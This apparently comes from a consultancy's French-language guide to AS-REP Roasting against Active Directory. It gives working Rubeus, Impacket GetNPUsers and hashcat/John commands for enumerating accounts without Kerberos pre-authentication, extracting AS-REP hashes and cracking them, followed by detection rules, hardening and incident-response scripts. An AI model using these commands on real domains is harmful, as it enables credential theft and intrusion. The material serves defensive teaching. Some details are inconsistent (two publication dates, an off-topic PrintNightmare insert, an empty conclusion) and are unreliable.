AYI NEDJIMI Consultants

AS-REP Roasting : Exploitation : Analyse Technique

Catégorie : Attaques Active Directory Lecture : 14 min Publié le : 07/12/2025 Auteur : Ayi NEDJIMI

Guide expert sur l AS-REP Roasting : Exploitation des Comptes sans. Expert en cybersécurité et intelligence artificielle. Guide technique complet.

Attaques Active Directory

AS-REP Roasting : Exploitation des Comptes sans Pré-authentification Kerberos

Publié le 16 octobre 2025 | Temps de lecture : 28 minutes | Par Ayi NEDJIMI La securisation d'Active Directory represente un defi majeur pour les entreprises modernes. Les attaquants ciblent systematiquement ces infrastructures critiques, exploitant des configurations par defaut ou des privileges excessifs pour compromettre l'ensemble du systeme d'information. Cet article fournit une analyse technique approfondie des mecanismes d'attaque et des contre-mesures efficaces, basee sur des retours d'experience terrain et les recommandations des autorites de reference comme l'ANSSI et le MITRE. Guide expert sur l AS-REP Roasting : Exploitation des Comptes sans. Expert en cybersécurité et intelligence artificielle. Guide technique complet. Ce guide couvre les aspects essentiels de as rep roasting attaque defense : méthodologie structurée, outils recommandés et retours d'expérience opérationnels. Les professionnels y trouveront des recommandations directement applicables.

L'attaque **AS-REP Roasting** est une technique d'extraction de credentials qui exploite une configuration spécifique de comptes Active Directory : ceux qui ont l'option **"Do not require Kerberos preauthentication"** activée. Cette attaque permet à un attaquant, même sans credentials valides, de récupérer une partie du hash de mot de passe d'utilisateurs et de le cracker hors ligne. En 2025, cette technique reste une menace significative, particulièrement dans les environnements avec des configurations héritées ou mal auditées.

Votre modèle de Tiering est-il réellement appliqué ou seulement documenté ?

Sommaire

Notre avis d'expert
Le modèle de Tiering reste la meilleure défense structurelle contre la compromission totale d'un domaine Active Directory. Sans séparation stricte des niveaux de privilèges, un attaquant ayant compromis un poste de travail peut atteindre le contrôleur de domaine en quelques heures.

Introduction : Pourquoi AS-REP Roasting est-il une Menace Sérieuse ?

En matière de des attaques contre Active Directory, **AS-REP Roasting** occupe une place particulière. Contrairement à d'autres techniques qui nécessitent des credentials valides ou un accès initial au réseau, AS-REP Roasting peut être exploitée par un attaquant qui a simplement la capacité d'envoyer des requêtes au contrôleur de domaine, sans même avoir besoin d'un compte valide dans certains scénarios.

Cette technique tire parti d'une fonctionnalité de Kerberos qui, bien que légitime dans certains contextes d'interopérabilité, crée une vulnérabilité critique lorsqu'elle est mal configurée :

- **Aucune authentification préalable requise** : L'attaquant peut demander un AS-REP sans fournir de preuve d'identité
- **Récupération d'un hash crackable** : La réponse AS-REP contient une partie chiffrée avec le hash du compte cible
- **Attaque hors ligne** : Le cracking se fait localement, sans génération d'événements supplémentaires
- **Pas de privilèges requis** : Tout utilisateur du domaine (voire aucun) peut énumérer et exploiter ces comptes
- **Furtivité élevée** : L'attaque génère peu d'événements suspects avant le crack réussi

Statistique préoccupante : Selon une étude Specops Software 2024, environ 12% des organisations auditées ont au moins un compte avec la pré-authentification désactivée, et dans 3% des cas, il s'agit de comptes à privilèges élevés. Le taux de succès du cracking avec des dictionnaires modernes dépasse 65% pour les mots de passe de moins de 12 caractères.

La désactivation de la pré-authentification Kerberos est parfois nécessaire pour des raisons d'interopérabilité avec des systèmes legacy ou des applications tierces qui ne supportent pas correctement Kerberos. Cependant, dans la majorité des cas, cette configuration résulte d'une méconnaissance des implications sécurité ou d'une configuration obsolète jamais révisée.

Qu'est-ce que l'AS-REP Roasting ?

Pour bien comprendre AS-REP Roasting, il est essentiel de revenir aux fondamentaux du protocole Kerberos et du rôle de la pré-authentification.

Le Protocole Kerberos et la Pré-authentification

Kerberos est le protocole d'authentification par défaut dans Active Directory depuis Windows 2000. Il repose sur un système de tickets cryptographiques pour permettre aux utilisateurs de s'authentifier auprès des services sans transmettre leur mot de passe sur le réseau.

Flux d'authentification Kerberos standard (avec pré-auth)
Dans un échange Kerberos normal, la pré-authentification fonctionne comme suit :

1. **AS-REQ (Authentication Service Request)** : Le client envoie une demande de TGT au KDC (Key Distribution Center) contenant :
   - Le nom d'utilisateur (en clair)
   - Un timestamp chiffré avec le hash du mot de passe de l'utilisateur (**preauth data**)
2. **Vérification par le KDC** : Le KDC déchiffre le timestamp avec le hash du mot de passe de l'utilisateur stocké en base. Si le déchiffrement réussit et que le timestamp est valide, l'identité est prouvée.
3. **AS-REP (Authentication Service Response)** : Le KDC retourne un TGT chiffré avec la clé KRBTGT.

Cette pré-authentification **prouve l'identité du demandeur** avant même que le KDC ne retourne quoi que ce soit d'utile. C'est une défense contre les attaques par replay et l'énumération.

Qu'est-ce que le flag DONT_REQ_PREAUTH ?
Dans Active Directory, chaque compte utilisateur possède un attribut `UserAccountControl` qui contient divers flags de configuration. L'un d'eux est le flag `DONT_REQUIRE_PREAUTH` (valeur 0x400000 / 4194304).

Lorsque ce flag est activé :

Cas concret
La vulnérabilité PrintNightmare (CVE-2021-34527) a exposé la fragilité du service Print Spooler de Windows, permettant l'exécution de code à distance avec des privilèges SYSTEM. Son exploitation triviale a contraint des milliers d'organisations à désactiver en urgence le service d'impression sur leurs contrôleurs de domaine.

Une compromission d'un seul poste de travail pourrait-elle mener à votre contrôleur de domaine ?

- Le KDC **n'exige pas** de preauth data dans l'AS-REQ
- Le KDC retourne directement un AS-REP contenant une partie chiffrée avec le hash de l'utilisateur
- Cette réponse peut être capturée et crackée hors ligne

Définition de l'AS-REP Roasting

AS-REP Roasting est une technique d'attaque qui consiste à :

1. **Énumérer** les comptes AD qui ont le flag `DONT_REQUIRE_PREAUTH` activé

2. **Demander un AS-REP** pour chacun de ces comptes au KDC
3. **Extraire la partie chiffrée** de l'AS-REP (qui est chiffrée avec le hash NTLM du compte)
4. **Cracker hors ligne** cette partie chiffrée pour récupérer le mot de passe en clair

Le nom "Roasting" fait référence à la famille d'attaques Kerberos qui visent à extraire et cracker des données chiffrées avec des secrets utilisateurs (comme Kerberoasting pour les comptes de service).

AS-REP Roasting vs Kerberoasting

Il est important de distinguer AS-REP Roasting de Kerberoasting, bien que les deux soient des attaques de "roasting" :

Caractéristique	AS-REP Roasting	Kerberoasting
Cible	Comptes avec DONT_REQ_PREAUTH	Comptes avec SPN (Service Principal Name)
Ticket extrait	AS-REP (partie de TGT)	TGS (Service Ticket)
Authentification requise	Non (possible sans compte valide)	Oui (nécessite un compte domain)
Fréquence	Rare (mauvaise configuration)	Courant (comptes de service)
Détection	Event ID 4768 (preauth type 0)	Event ID 4769 (volume anormal)
Complexité mot de passe	Généralement plus forte (comptes users)	Souvent faible (comptes service legacy)

Comment Fonctionne l'Attaque AS-REP Roasting ?

L'exploitation d'AS-REP Roasting se déroule en plusieurs phases distinctes, chacune nécessitant des outils et techniques spécifiques.

Phase 1 : Énumération des Comptes Vulnérables

La première étape consiste à identifier les comptes qui ont la pré-authentification désactivée. Plusieurs méthodes existent selon le niveau d'accès de l'attaquant.

Méthode 1 : Avec un compte domain valide (via LDAP)
Si l'attaquant possède un compte valide dans le domaine (même unprivileged), il peut interroger LDAP pour énumérer les comptes vulnérables :

```
# Via PowerShell (ActiveDirectory module)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth

# Via ldapsearch (Linux)
ldapsearch -x -H ldap://dc.contoso.com -D "user@contoso.com" -W -b "dc=contoso,dc=com"
"(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" sAMAccountName

# Via Python (ldap3)
import ldap3
server = ldap3.Server('dc.contoso.com')
conn = ldap3.Connection(server, user='user@contoso.com', password='password',
authentication=ldap3.NTLM)
conn.bind()
conn.search('dc=contoso,dc=com', '(&(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=4194304))', attributes=['sAMAccountName'])
for entry in conn.entries:
    print(entry.sAMAccountName)
```

Méthode 2 : Sans authentification préalable (énumération brute)
Dans certains scénarios, un attaquant peut tenter d'énumérer les comptes vulnérables sans avoir de credentials valides, en envoyant des AS-REQ pour des noms d'utilisateurs communs et en analysant les réponses :

- **KRB_AP_ERR_BAD_INTEGRITY** : Le compte existe et a la preauth activée (réponse normale)
- **AS-REP retourné** : Le compte existe et est vulnérable (pas de preauth)
- **KDC_ERR_C_PRINCIPAL_UNKNOWN** : Le compte n'existe pas

Cette méthode est moins furtive et génère du bruit, mais peut être utilisée en phase de reconnaissance initiale. Les recommandations de MITRE ATT&CK constituent une reference essentielle.

Méthode 3 : Via Rubeus
Rubeus, un outil C# populaire pour les attaques Kerberos, peut énumérer et exploiter automatiquement :

```
# Énumération des comptes vulnérables
Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Ciblage d'utilisateurs spécifiques depuis une liste
Rubeus.exe asreproast /user:username /format:hashcat

# Énumération avec output John the Ripper
Rubeus.exe asreproast /format:john
```

Phase 2 : Extraction des AS-REP

Une fois les comptes vulnérables identifiés, l'attaquant demande des AS-REP pour chacun d'eux.

Utilisation de GetNPUsers.py (Impacket)
GetNPUsers.py de la suite Impacket est l'outil de référence pour AS-REP Roasting depuis Linux :

```
# Avec authentification (énumération + extraction)
GetNPUsers.py contoso.com/user:password -dc-ip 192.168.1.10 -format hashcat -outputfile
hashes.txt

# Sans authentification (nécessite liste d'usernames)
GetNPUsers.py contoso.com/ -usersfile users.txt -dc-ip 192.168.1.10 -format hashcat -no-
pass

# Ciblage d'un utilisateur spécifique
GetNPUsers.py contoso.com/svc_backup -no-pass -dc-ip 192.168.1.10

# Exemple de sortie
$krb5asrep$23$svc_backup@CONTOSO.COM:a87f3a9d3b2f1e4c6d8a9b3c2d1e4f5a$7b6c8d9e1f2a3b4c5d6e
7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f...
```

Utilisation de Rubeus (Windows)
Rubeus peut extraire les AS-REP directement depuis Windows :

```
# Extraction automatique de tous les comptes vulnérables
Rubeus.exe asreproast /format:hashcat /outfile:C:\temp\hashes.txt

# Ciblage spécifique
Rubeus.exe asreproast /user:svc_backup /format:hashcat

# Avec credential explicite (pour authentification LDAP)
Rubeus.exe asreproast /user:svc_backup /domain:contoso.com /dc:dc01.contoso.com
```

Structure de l'AS-REP
L'AS-REP retourné contient plusieurs parties :

- **Partie non chiffrée** : Informations sur le ticket (realm, timestamps, etc.)
- **Partie chiffrée (enc-part)** : Chiffrée avec le hash NTLM du compte cible, contient la session key

C'est cette **partie chiffrée** que l'attaquant extrait pour le cracking. Le format typique pour Hashcat est :

```
$krb5asrep$23$username@DOMAIN:hash_hex_data...
```

Phase 3 : Cracking Hors Ligne

Avec les hashes AS-REP en main, l'attaquant peut maintenant les cracker localement, sans interaction supplémentaire avec le réseau cible.

Cracking avec Hashcat
Hashcat est l'outil de référence pour le cracking GPU haute performance :

```
# Mode 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt

# Avec règles de mutation
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/
best64.rule

# Attaque hybride (wordlist + mask)
hashcat -m 18200 hashes.txt /usr/share/wordlists/rockyou.txt -a 6 '?d?d?d?d'

# Attaque par masque pure (exemple: 8 caractères alphanumériques)
hashcat -m 18200 hashes.txt -a 3 '?a?a?a?a?a?a?a?a'

# Avec GPU RTX 4090 (exemple de performance)
# Vitesse: ~15 GH/s pour AS-REP (etype 23)
# Temps pour dictionnaire RockYou: ~1 minute
```

Cracking avec John the Ripper

John the Ripper est une alternative open-source :

```
# Cracking basique
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt

# Avec règles
john --wordlist=/usr/share/wordlists/rockyou.txt --rules hashes.txt

# Mode incrémental
john --incremental hashes.txt

# Afficher les résultats
john --show hashes.txt
```

Facteurs Affectant le Succès du Cracking

La probabilité de cracker un hash AS-REP dépend de plusieurs facteurs :

- **Complexité du mot de passe** : Longueur, caractères spéciaux, entropie
- **Politique de mot de passe** : Exigences minimales du domaine
- **Puissance de calcul** : CPU vs GPU, nombre de cœurs/streams
- **Qualité du dictionnaire** : Wordlists spécialisées, listes breachées
- **Utilisation de règles** : Mutations intelligentes augmentent significativement les chances

Statistiques : Avec un GPU moderne (RTX 4090) et RockYou + rules, le taux de succès pour les mots de passe < 12 caractères dépasse 65%. Pour les mots de passe 14+ caractères respectant les bonnes pratiques, le cracking devient infaisable.

Phase 4 : Exploitation Post-Compromission

Une fois les credentials récupérés, l'attaquant peut les utiliser pour :

- **Authentification légitime** : Accès aux ressources avec les privilèges du compte compromis
- **Mouvement latéral** : Pivot vers d'autres systèmes si le compte a des privilèges étendus
- **Escalade de privilèges** : Si le compte compromis est administrateur local sur certaines machines

- **Persistance** : Création de backdoors, scheduled tasks, ou autres mécanismes
- **Exfiltration de données** : Accès aux partages réseau, bases de données, etc.

Si le compte compromis est un compte de service avec des privilèges élevés, l'impact peut être critique. L'attaquant peut également enchaîner avec d'autres techniques comme Kerberoasting ou Pass-the-Hash pour étendre davantage son accès.

Méthodes de Détection AS-REP Roasting

La détection d'AS-REP Roasting est délicate car l'attaque exploite un comportement légitime de Kerberos. Cependant, plusieurs indicateurs permettent d'identifier cette activité suspecte.

Détection Proactive : Audit de Configuration

La meilleure détection est **préventive** : identifier et corriger les comptes vulnérables avant qu'ils ne soient exploités.

Script PowerShell d'Audit

```
# Audit des comptes avec DONT_REQ_PREAUTH
Get-ADUser -Filter * -Properties DoesNotRequirePreAuth | Where-Object
{$_.DoesNotRequirePreAuth -eq $true} | Select-Object Name, SamAccountName,
UserPrincipalName, Enabled, DoesNotRequirePreAuth | Export-Csv -Path "C:
\Audit\AsRepRoastable_Accounts.csv" -NoTypeInformation

# Avec détails supplémentaires (groupes, dernière connexion)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth,
MemberOf, LastLogonDate, PasswordLastSet | Select-Object Name, SamAccountName, Enabled,
LastLogonDate, PasswordLastSet, @{Name="Groups";Expression={$_.MemberOf -join "; "}} |
Format-Table -AutoSize
```

Script Python d'Audit (via LDAP)

```
#!/usr/bin/env python3
import ldap3
from ldap3 import Server, Connection, ALL, NTLM

server = Server('dc.contoso.com', get_info=ALL)
conn = Connection(server, user='CONTOSO\\auditor', password='password',
authentication=NTLM)
conn.bind()

# Recherche des comptes avec preauth désactivée
search_filter = '(&(objectClass=user)
(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
conn.search('dc=contoso,dc=com', search_filter, attributes=['sAMAccountName',
'distinguishedName', 'memberOf'])

print(f"[+] Comptes vulnérables à AS-REP Roasting: {len(conn.entries)}")
for entry in conn.entries:
    print(f"  - {entry.sAMAccountName}: {entry.distinguishedName}")
```

Détection Réactive : Monitoring des Événements

Event ID 4768 : TGT Request

L'indicateur le plus fiable d'AS-REP Roasting est un Event ID 4768 avec **Preauth Type = 0** (aucune preauth) :

```
Event ID: 4768
Log: Security
Source: Microsoft-Windows-Security-Auditing
Category: Kerberos Authentication Service

Champs clés à surveiller :
- Account Name: [nom du compte cible]
- Supplied Realm Name: [domaine]
- Result Code: 0x0 (Success)
- Pre-Authentication Type: 0  ← ⚠️ INDICATEUR CRITIQUE
- Client Address: [IP de l'attaquant]
- Ticket Encryption Type: 0x17 (RC4-HMAC) ou 0x12 (AES256)
```

Un Event ID 4768 avec Preauth Type 0 est **anormal dans la plupart des environnements** et devrait déclencher une alerte.

Règles SIEM pour AS-REP Roasting

Exemples de règles de détection implémentables dans un SIEM :

```
# Règle 1 : Détection de Preauth Type 0
EventCode=4768
| where Pre_Authentication_Type="0"
| stats count by Account_Name, Client_Address
| where count > 1

# Règle 2 : Multiple AS-REQ sans preauth depuis une même source
EventCode=4768
| where Pre_Authentication_Type="0"
| stats dc(Account_Name) as unique_accounts by Client_Address, _time
| where unique_accounts > 5

# Règle 3 : AS-REP Roasting suivi d'authentification réussie
EventCode=4768 Pre_Authentication_Type="0"
| append [search EventCode=4624 Logon_Type="3" | where Account_Name=outer.Account_Name]
| transaction Account_Name maxspan=1h
| where eventcount > 1

# Règle 4 : Corrélation avec outils connus (Rubeus/GetNPUsers patterns)
EventCode=4768 Pre_Authentication_Type="0"
| stats count by Account_Name, Client_Address
| lookup threat_intel Client_Address OUTPUT reputation
| where reputation="malicious" OR count > 10
```

Détection via EDR et Solutions Spécialisées

Microsoft Defender for Identity

Microsoft Defender for Identity détecte automatiquement AS-REP Roasting via :

- Analyse des Event ID 4768 avec preauth type 0
- Détection de patterns d'énumération (multiples requêtes depuis une source)

- Corrélation avec comportements post-compromission
- Alertes classées par gravité selon le profil du compte (privilégié vs standard)

Alerte typique : **"Suspected AS-REP Roasting attack"** avec détails sur le compte cible et l'IP source.

Autres Solutions

- **Vectra AI** : Machine learning pour identifier les anomalies Kerberos
- **Silverfort** : Monitoring en temps réel des authentifications AD
- **CrowdStrike Falcon Identity Protection** : Détection comportementale
- **Splunk Enterprise Security** : Avec le module "Threat Hunting for Kerberos"

Indicateurs de Compromission (IoC)

En cas d'attaque AS-REP Roasting active ou réussie, recherchez ces IoC :

- **Event ID 4768** avec Preauth Type 0 pour multiples comptes depuis une même IP
- **Event ID 4624** (logon réussi) peu après un 4768 suspect pour le même compte
- **Augmentation soudaine** du volume de requêtes AS-REQ vers le DC
- **Requêtes depuis IPs inhabituelles** : VPN, IPs étrangères, segments réseau anormaux
- **Outils suspects** : Présence de Rubeus.exe, GetNPUsers.py, Hashcat sur des endpoints
- **Comportement post-compromission** : Accès aux ressources avec comptes normalement inactifs

Contremesures et Prévention

La défense contre AS-REP Roasting repose principalement sur une configuration sécurisée des comptes et une surveillance proactive.

1. Éliminer les Comptes avec Pré-authentification Désactivée

La contremesure la plus efficace est de **réactiver la pré-authentification** sur tous les comptes où elle est désactivée sans justification légitime.

Vérification et Correction via PowerShell

```
# Identifier tous les comptes vulnérables
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties
DoesNotRequirePreAuth

# Afficher les détails
$VulnerableAccounts | Select-Object Name, SamAccountName, Enabled | Format-Table

# Réactiver la pré-authentification (après validation métier)
foreach ($account in $VulnerableAccounts) {
    Set-ADAccountControl -Identity $account.SamAccountName -DoesNotRequirePreAuth $false
    Write-Host "[+] Pré-auth réactivée pour: $($account.SamAccountName)" -ForegroundColor
Green
}

# Vérification post-correction
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | Measure-Object
```

Attention : Validation métier nécessaire
Avant de réactiver la pré-authentification, **validez avec les équipes applicatives** que cette configuration n'est pas requise pour des raisons d'interopérabilité légitimes. Certaines applications legacy ou intégrations tierces peuvent nécessiter cette configuration.

Si la désactivation est absolument nécessaire, implémentez des compensations (voir ci-dessous).

2. Politiques de Mots de Passe Robustes

Si des comptes doivent absolument conserver la pré-authentification désactivée, renforcez drastiquement leurs mots de passe :

Fine-Grained Password Policy (FGPP)
Utilisez les **Password Settings Objects (PSO)** pour appliquer des politiques renforcées aux comptes vulnérables :

```
# Créer une PSO ultra-renforcée pour comptes AS-REP vulnérables
New-ADFineGrainedPasswordPolicy -Name "AsRepVulnerable_Policy" `
    -Precedence 1 `
    -MinPasswordLength 20 `
    -ComplexityEnabled $true `
    -MaxPasswordAge "60.00:00:00" `
    -MinPasswordAge "1.00:00:00" `
    -PasswordHistoryCount 24 `
    -LockoutDuration "00:30:00" `
    -LockoutObservationWindow "00:30:00" `
    -LockoutThreshold 3

# Appliquer la PSO aux comptes concernés
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
foreach ($account in $VulnerableAccounts) {
    Add-ADFineGrainedPasswordPolicySubject -Identity "AsRepVulnerable_Policy" -Subjects
$account
    Write-Host "[+] PSO appliquée à: $($account.SamAccountName)"
}

# Forcer le changement de mot de passe immédiat
foreach ($account in $VulnerableAccounts) {
    Set-ADUser -Identity $account -ChangePasswordAtLogon $true
}
```

Exigences Recommandées

- **Longueur minimum** : 20 caractères (idéalement 25+)
- **Complexité** : Majuscules, minuscules, chiffres, caractères spéciaux
- **Entropie** : Pas de patterns prévisibles (pas de "Password123!")
- **Rotation** : Maximum 60 jours (30 jours pour comptes sensibles)
- **Historique** : 24 derniers mots de passe mémorisés
- **Pas de mots du dictionnaire** : Utiliser des passphrases ou générateur aléatoire

3. Multi-Factor Authentication (MFA)

Même si l'attaquant récupère le mot de passe via AS-REP Roasting, **MFA** empêche l'authentification réussie :

- **Azure AD/Entra ID MFA** : Pour les environnements hybrides
- **Smart Cards / Windows Hello for Business** : Authentification par certificat
- **FIDO2 / WebAuthn** : Clés de sécurité hardware
- **Solutions tierces** : Duo, Okta, etc.

Prioriser MFA pour :

- Tous les comptes à privilèges (Domain Admins, etc.)
- Tous les comptes avec preauth désactivée
- Accès VPN et remote desktop
- Accès aux applications critiques

4. Monitoring et Alertes Proactives

Configuration des Alertes SIEM

```
# Template de règle Splunk pour AS-REP Roasting
[Suspected AS-REP Roasting Activity]
search = sourcetype="WinEventLog:Security" EventCode=4768 Pre_Authentication_Type=0
| stats count by Account_Name, Client_Address, _time
| where count > 2
trigger.alert.action = email, webhook
trigger.alert.severity = high
trigger.alert.priority = 2

# Template de règle Microsoft Sentinel (KQL)
SecurityEvent
| where EventID == 4768
| where EventData has "PreAuthType>0<"
| summarize count() by AccountName, IpAddress, TimeGenerated
| where count_ > 2
| project TimeGenerated, AccountName, IpAddress, count_
```

Audit Régulier Automatisé

```
# Script PowerShell à exécuter via scheduled task (hebdomadaire)
$VulnerableAccounts = Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties
DoesNotRequirePreAuth, LastLogonDate

if ($VulnerableAccounts) {
    $Report = $VulnerableAccounts | Select-Object Name, SamAccountName, Enabled,
LastLogonDate
    $Report | Export-Csv -Path "\\monitoring\Reports\AsRepVulnerable_$(Get-Date -Format
'yyyyMMdd').csv" -NoTypeInformation

    # Envoyer alerte email
    Send-MailMessage -To "secops@contoso.com" `
        -From "ad-monitoring@contoso.com" `
        -Subject "ALERTE: Comptes vulnérables AS-REP Roasting détectés" `
        -Body "⚠️ $($VulnerableAccounts.Count) comptes avec preauth désactivée. Voir
rapport attaché." `
        -Attachments "\\monitoring\Reports\AsRepVulnerable_$(Get-Date -Format
'yyyyMMdd').csv" `
        -SmtpServer "smtp.contoso.com"
}
```

5. Segmentation Réseau et Restriction d'Accès

Limiter qui peut communiquer avec les contrôleurs de domaine :

- **Firewall DC** : Restreindre les ports Kerberos (88 TCP/UDP) aux segments légitimes uniquement
- **Network Access Control (NAC)** : Authentification 802.1X pour accès au réseau
- **Micro-segmentation** : Isoler les DCs dans une zone réseau dédiée
- **VPN obligatoire** : Pour les connexions distantes, avec MFA

6. Durcissement des Comptes de Service

Les comptes de service sont souvent configurés avec preauth désactivée pour des raisons d'interopérabilité. Alternatives sécurisées :

- **Group Managed Service Accounts (gMSA)** : Gestion automatique des mots de passe complexes
- **Standalone Managed Service Accounts (sMSA)** : Pour serveurs standalone
- **Principe du moindre privilège** : Limiter les permissions des comptes de service au strict nécessaire
- **Séparation des comptes** : Un compte de service par application/service

Checklist de Prévention AS-REP Roasting

- ☑ Audit complet des comptes avec DONT_REQ_PREAUTH (mensuel minimum)
- ☑ Réactivation de la pré-auth sur tous comptes non-critiques
- ☑ FGPP renforcée appliquée aux comptes vulnérables résiduels (20+ caractères)
- ☑ MFA activée pour 100% des comptes à privilèges
- ☑ MFA activée pour tous comptes avec preauth désactivée
- ☑ Monitoring Event ID 4768 (Preauth Type 0) avec alertes temps réel
- ☑ SIEM rules déployées pour détection AS-REP Roasting
- ☑ Microsoft Defender for Identity ou solution similaire activée
- ☑ gMSA déployés pour remplacer comptes de service legacy
- ☑ Segmentation réseau : DC isolés, firewall strict
- ☑ Audit automatisé hebdomadaire avec alertes email
- ☑ Documentation des comptes légitimement configurés sans preauth (avec justification métier)

Remédiation après Compromission AS-REP Roasting

Si vous suspectez ou confirmez qu'un compte a été compromis via AS-REP Roasting, une réponse rapide est essentielle.

Phase 1 : Évaluation et Containment

1. **Identifier les comptes compromis** :

```
 # Rechercher Event ID 4768 avec Preauth Type 0 récents
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4768; StartTime=(Get-
Date).AddDays(-7)} |
Where-Object {$_.Message -like "*Preauth*0*"} |
Select-Object TimeCreated, @{Name="Account";Expression={$_.Properties[0].Value}},
@{Name="ClientIP";Expression={$_.Properties[9].Value}}
```

2. **Désactiver immédiatement les comptes compromis** :

```
Disable-ADAccount -Identity "svc_backup"
Set-ADUser -Identity "svc_backup" -Description "⚠️ DISABLED - AS-REP Roasting
compromise suspected $(Get-Date)"
```

3. **Révoquer les sessions actives** :

```
# Via logoff forcé
quser /server:targetserver
logoff [SessionID] /server:targetserver

# Via purge des tickets Kerberos
klist purge -li 0x3e7
```

4. **Isoler les machines source** : Si l'IP d'origine est identifiée, isoler la machine du réseau

Phase 2 : Investigation Forensique

1. **Timeline de compromission** :
   - Premier Event ID 4768 avec Preauth Type 0 pour le compte
   - Authentifications réussies (Event ID 4624) post-attaque
   - Accès aux ressources (Event ID 5140 - partages réseau, etc.)
   - Modifications AD (Event ID 4738, 4728, etc.)
2. **Analyse des actions post-compromission** :

```
# Rechercher toutes les authentifications avec le compte compromis
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4624; StartTime=(Get-
Date).AddDays(-30)} |
Where-Object {$_.Properties[5].Value -eq "svc_backup"} |
Select-Object TimeCreated, @{Name="Workstation";Expression={$_.Properties[11].Value}},
@{Name="SourceIP";Expression={$_.Properties[18].Value}}
```

3. **Vérifier les modifications de privilèges** :

```
# Modifications de groupes AD
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4728,4732,4756; StartTime=(Get-
Date).AddDays(-30)} |
Where-Object {$_.Message -like "*svc_backup*"}
```

Phase 3 : Éradication et Recovery

1. **Réinitialiser le mot de passe** :

```
# Générer un mot de passe fort aléatoire
$NewPassword = -join ((48..57) + (65..90) + (97..122) + (33..47) | Get-Random -Count
24 | ForEach-Object {[char]$_})
Set-ADAccountPassword -Identity "svc_backup" -Reset -NewPassword (ConvertTo-
SecureString -AsPlainText $NewPassword -Force)

# Forcer changement au prochain logon (si compte utilisateur)
Set-ADUser -Identity "svc_backup" -ChangePasswordAtLogon $true
```

2. **Réactiver la pré-authentification** :

```
Set-ADAccountControl -Identity "svc_backup" -DoesNotRequirePreAuth $false
```

3. **Appliquer une PSO renforcée** :

```
Add-ADFineGrainedPasswordPolicySubject -Identity "HighSecurity_Policy" -Subjects
"svc_backup"
```

4. **Activer MFA** : Si pas déjà fait, activer MFA pour ce compte
5. **Auditer et supprimer les backdoors** :
   - Rechercher scheduled tasks créées par le compte
   - Vérifier les services installés
   - Auditer les modifications de GPO
   - Vérifier les modifications d'ACL sur objets AD sensibles
6. **Réactiver le compte (si nécessaire)** :

```
Enable-ADAccount -Identity "svc_backup"
```

Phase 4 : Surveillance Post-Incident

- **Monitoring renforcé** : Surveillance accrue des authentifications du compte pendant 90 jours
- **Alertes spécifiques** : Configuration d'alertes dédiées pour toute activité du compte
- **Audit étendu** : Activer l'audit avancé pour ce compte

Phase 5 : Lessons Learned et Amélioration

1. **Post-mortem incident** :
   - Comment la vulnérabilité (preauth désactivée) est-elle apparue ?
   - Pourquoi n'a-t-elle pas été détectée en audit préventif ?
   - Délai entre attaque et détection : comment le réduire ?
2. **Implémentation de correctifs** :
   - Audit global de tous les comptes (pas seulement celui compromis)
   - Déploiement de monitoring si absent
   - Renforcement des politiques de mots de passe
   - Déploiement MFA sur comptes à privilèges
3. **Mise à jour des procédures** :
   - Intégration de AS-REP Roasting dans le playbook IR
   - Ajout d'un contrôle de preauth dans la checklist de création de compte
   - Formation des équipes IT/SOC sur cette menace

Quand Faire Appel à un Expert Externe ?
Faites appel à un cabinet spécialisé en réponse à incident AD si :

Considerations de securite supplementaires

- Multiples comptes compromis (potentielle compromission massive)
- Comptes à privilèges élevés compromis (Domain Admin, etc.)
- Doute sur l'étendue de la compromission
- Manque d'expertise interne pour l'investigation forensique
- Contexte réglementaire nécessitant un rapport certifié

Nos services de réponse à incident incluent investigation complète, assistance à la remédiation et rapport détaillé.

Comment fonctionne l'attaque AS-REP Roasting contre Active Directory ?

L'AS-REP Roasting exploite les comptes Active Directory dont la pre-authentification Kerberos est desactivee (attribut DONT_REQUIRE_PREAUTH). Lorsqu'un attaquant envoie une requete AS-REQ pour un tel compte, le KDC repond avec un AS-REP contenant une partie chiffree avec le hash du mot de passe de l'utilisateur. L'attaquant peut alors extraire ce hash et tenter de le craquer hors ligne avec des outils comme Hashcat ou John the Ripper, sans jamais avoir besoin d'authentification prealable.

Quelle est la difference entre AS-REP Roasting et Kerberoasting ?

La difference fondamentale reside dans la cible et les prerequis. L'AS-REP Roasting cible les comptes utilisateurs sans pre-authentification Kerberos et ne necessite aucune authentification au domaine pour l'exploitation. Le Kerberoasting cible les comptes de service possedant un SPN (Service Principal Name) et necessite un acces authentifie au domaine. Les deux attaques aboutissent a un hash crackable hors ligne, mais le Kerberoasting utilise des tickets de service TGS tandis que l'AS-REP Roasting utilise les reponses d'authentification AS-REP.

Quels controles preventifs permettent de se proteger contre l'AS-REP Roasting ?

La protection principale consiste a s'assurer que la pre-authentification Kerberos est activee sur tous les comptes du domaine, via une GPO ou un audit regulier de l'attribut userAccountControl. Il faut imposer des mots de passe longs (minimum 25 caracteres) pour les comptes ou la desactivation est techniquement necessaire, surveiller les requetes AS-REQ sans pre-authentification dans les logs Kerberos (Event ID 4768 avec le code de resultat 0x0), et utiliser des comptes de service geres (gMSA) qui renouvellent automatiquement leurs mots de passe.

Pour approfondir, consultez les ressources officielles : OWASP Testing Guide, CVE Details et ANSSI.

Sources et références : MITRE ATT&CK Privilege Escalation · ADSecurity.org

Conclusion

Les points clés à retenir :

